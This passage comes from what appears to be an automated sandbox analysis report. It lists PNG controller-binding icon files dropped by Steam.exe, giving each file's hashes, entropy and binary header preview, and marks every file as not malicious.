UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0324.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21058
Entropy (8bit):	7.899302434678303
Encrypted:	false
SSDEEP:
MD5:	BEF0E82D2838331E98379CA3A8794519
SHA1:	C94A192E879AD024AE77C5953537F9071AF23553
SHA-256:	2EC8990CE62C007AD01AB68DD3E33CEE2FFE34A4DFF6F0EF7231B90C7B3427D4
SHA-512:	5A30D664AA5309086BA9EF33543D3B342796354DF442EFE13F4BB799440B208D40665059917CE7E286EC7E2AB9F5C4D8939068D32C6142319AE28D1B0DBD232E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0325.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10318
Entropy (8bit):	7.639231303537865
Encrypted:	false
SSDEEP:
MD5:	947D752F614A1427EEAE1E7DEF6F16C2
SHA1:	9F3CB7D2B976AF346D39AD6B73E094FC6694812B
SHA-256:	EBC1D2D27F83F2FD8C44BE7F39600925A96F5C45BF892B92AC1F283C739BCEE0
SHA-512:	559FBA074BA00AAD5A11B1206947DB670505724EAE3D926B21577C141A400166B1B9A74B4BD722963E67BE1BD07F7AA08114AA268DF03A6DE450D4CA9CCB0F60
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0326.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	27530
Entropy (8bit):	7.910696778726104
Encrypted:	false
SSDEEP:
MD5:	C3C057A2E6C29E05332520AB237D4267
SHA1:	DE2A1BC6E3CF805B98F70BA29884E32EE8DD3E1F
SHA-256:	E79698F92D7CD68DFFA3F98E1A1F8B0CA28899B043538B7AECB9FA60B2AB008E
SHA-512:	A905BEA72029338860BFFEEEDBC02E86224151F07CA9396CDE6AE8E3050EED7B021F53A3EF5CABFCC529CA2FE6AA1093806CC46AC4C78C3A266F7C871A1C6964
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0327.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6108
Entropy (8bit):	7.014107847272316
Encrypted:	false
SSDEEP:
MD5:	0ADB83AB744F364DFF7347A5DA159C50
SHA1:	EE11CDF2755BECC1C8C767366775CB28191FC6CA
SHA-256:	B4FB7E999822EEBB07DB736E28592E6F5124D6C32A508E95C1202170DF3BBF49
SHA-512:	7CD4F21E95F4F8223F7398793683E940F7EAFDBDD81BAFD50302F1132D690B48337F6AA4CFC28864E6E5E03F0AC8FAD0A94E13B6C1D8D64E73B4D86FB419758B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0328.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19085
Entropy (8bit):	7.867159852800909
Encrypted:	false
SSDEEP:
MD5:	316A9566B7D89FA60DD2FF9F487C1608
SHA1:	E4E03EB2C49AD76CB487CF8526430574311AFAE4
SHA-256:	216298FE088B50B30374EA3A986A7C4191DEF57E03B4DFEBDC07AC43B8CAE0B8
SHA-512:	F8163CE147CC06479CA0419D36D1F916B8FA73F20D9E32781FECCBB1F1A234DE3BC00B57E4FBCDD03541C7E828E75BC00EE0B17B7404F8B6001E4F90535EED27
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0329.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9048
Entropy (8bit):	7.527335286344151
Encrypted:	false
SSDEEP:
MD5:	A36BBB6B060AEC96F7CD8CB1C8043010
SHA1:	16AE746DF4A101990C9C20D9D54E9A56AE7E4A0B
SHA-256:	7824222BC07F6DF4AD7604EC3F5F48E6519B5703E4CDFFA186A984B7F3195F62
SHA-512:	391EC83703056DECBF5F743DE429869E0DD8DC540207AE075B252E73D565BF778240B675522D3A79040E7251B649BA59EF0A2BF81EEAD0B3E84BFC723326A59F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0300.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	27429
Entropy (8bit):	7.919954968040892
Encrypted:	false
SSDEEP:
MD5:	9EBF3FA85994A73EDD354834968953EF
SHA1:	9C237EDC8C2C677670FC9E7376B6270056C59581
SHA-256:	C140695B451F77E23279C32ABED022F83F9F20B7CA98417A5A03351119C6C1F5
SHA-512:	ACD545E5DB8F90719572090906BE9101D1D594B460D8D347AA94769E18DCB66F1E810FFDD108EC50556A0435A44A528D917A0D3A23CEE8BA13ED617B994097FA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0301.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	27882
Entropy (8bit):	7.9209338161145215
Encrypted:	false
SSDEEP:
MD5:	516931A8AA2E3A077C9647E8C9EF1E1C
SHA1:	AC493AE3EC6BBB3DFA1B00B1423FF602330D13BA
SHA-256:	E910E541DC439884E11B413C85E49A43C8835FBAC4A25B19296A9E624005FAC3
SHA-512:	ECFDA3265DC7B57DF8675837AC8139122B888D958B2FD42C9A160AD648480371F40CC98E0889A90270459E0AFC6DEE79B79584989CBED17F2CDED79792B9DCBB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0302.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20878
Entropy (8bit):	7.903678928909465
Encrypted:	false
SSDEEP:
MD5:	8ECBA2E9772087360BA62BEAA26445A1
SHA1:	1AB527FAD62A0FF07B5773AE064DCBCB0430037E
SHA-256:	2A9FE55EB182DFC95285210C57C5F5286A6228C4F9CF262D6D30523802D7AF01
SHA-512:	3C4380F67521F8F55A2791414E9C4C9BD30BA1A9495ADECEFFFE02FFD9E115BC39C956CDA85B2DF5526B99286CD23A4161901B3C529314EB22CC1BD0FC1CD1C8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0303.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14459
Entropy (8bit):	7.841018004875958
Encrypted:	false
SSDEEP:
MD5:	A7BA13217FE211C906A35B5A73930D5E
SHA1:	9399DB9D184EE39FFDF4CF455722483076D489DC
SHA-256:	A324ADCE95D419F2943B6654626DADF13329AC938A3A6D77FF042DEA12B5EA74
SHA-512:	9B752AC28ABE4A8FA746009C3D88B6B7904055073FECD9C1B997A330E84A8E7F30D3F47250160925C54ACDE7EF942ED2DCBFF8294826115AC95F527A7865685B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0304.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22877
Entropy (8bit):	7.898975742480471
Encrypted:	false
SSDEEP:
MD5:	D6D053ECA0066C366D9A27EC3293F803
SHA1:	5CA589306EAEC875FC4E1908FC099207798EEFB9
SHA-256:	59ABA3C844CAB12032B2690D6763965239A4FAD2D6C8E601E20F1222A015EF81
SHA-512:	EA73D760082108FA0CA81F7005DC27778A19044148C61F91DE7329FBAE8AE6DA2A0EA83D04524C4B2D2BB478174990337A535666A0ECB3B03E49CE3582081D62
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0305.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18027
Entropy (8bit):	7.87941782091866
Encrypted:	false
SSDEEP:
MD5:	7F6149DA695EABB040208E810EB33F04
SHA1:	512CBA09E806398C575E222257E13899B943F05F
SHA-256:	8CCDFCF71070A6946C7E55B80A3E0D22AB548C4C6462919A796007CC0FA700D3
SHA-512:	844F0797055A48D9FE75C5FFCB8A75AC5B8F7C2146EC1F7129EBA70B1F09E783E49EDD12C600565B4D5C39716D962C300A84FCD655EC7C6C7276335298FCBEC5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0306.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21553
Entropy (8bit):	7.89801560141927
Encrypted:	false
SSDEEP:
MD5:	00404417509131CA9BA8BD19006C90A3
SHA1:	0E6F007E15AAD823C93856635E9E8295F17D62EC
SHA-256:	64946FE3AEF8C7E665651C8B25AB51C3B8A1DC65C9791F00D66C013FE820473E
SHA-512:	C60238D7CB1A799108E55CEE8C4A668F6DDB13250795D9EE30D371587EEA7695D2596D1F16AFE62E5807421068EBE2EECC29C665DAE3DACE036BD4EC9404FE13
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0307.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20478
Entropy (8bit):	7.911679681963534
Encrypted:	false
SSDEEP:
MD5:	C71850A254FED741CBA8C224CB4C997B
SHA1:	59C3FF03345FEE783DE3518C111462A6A072F5F0
SHA-256:	163170C74968FCFDC5C256DB2B73CA37F6969CDAA4EED9874536E54C4CC6E798
SHA-512:	EE89297C9013FC3E77DA70155B6B4880D830A93CE34FBFF487F337520CD21F68E55A5ECEE68F0175D9D81A6E8AD84A6E17D62E087A65EC9DB896BDDC6A4EC943
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0308.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21447
Entropy (8bit):	7.88767341725966
Encrypted:	false
SSDEEP:
MD5:	D4295E707D7714AB903BA84537EE6A9D
SHA1:	8B8F9F6EDFB0CFAF42B3D2DE002BA1CEB5F69F4F
SHA-256:	EE1772C00BD6BAE209C6BE02262941AB0E1869EB2775EE252DFE47E2AED9FD30
SHA-512:	BC4B72AC046FDEB233A543E913E5677264DF1DB20BE38D8536FEE4B3A4A5FEB99A8442506E78B616D7CF4733C8075FF810A8AD13427F125A931DADA2A173DD58
Malicious:	false
Reputation:	unknown
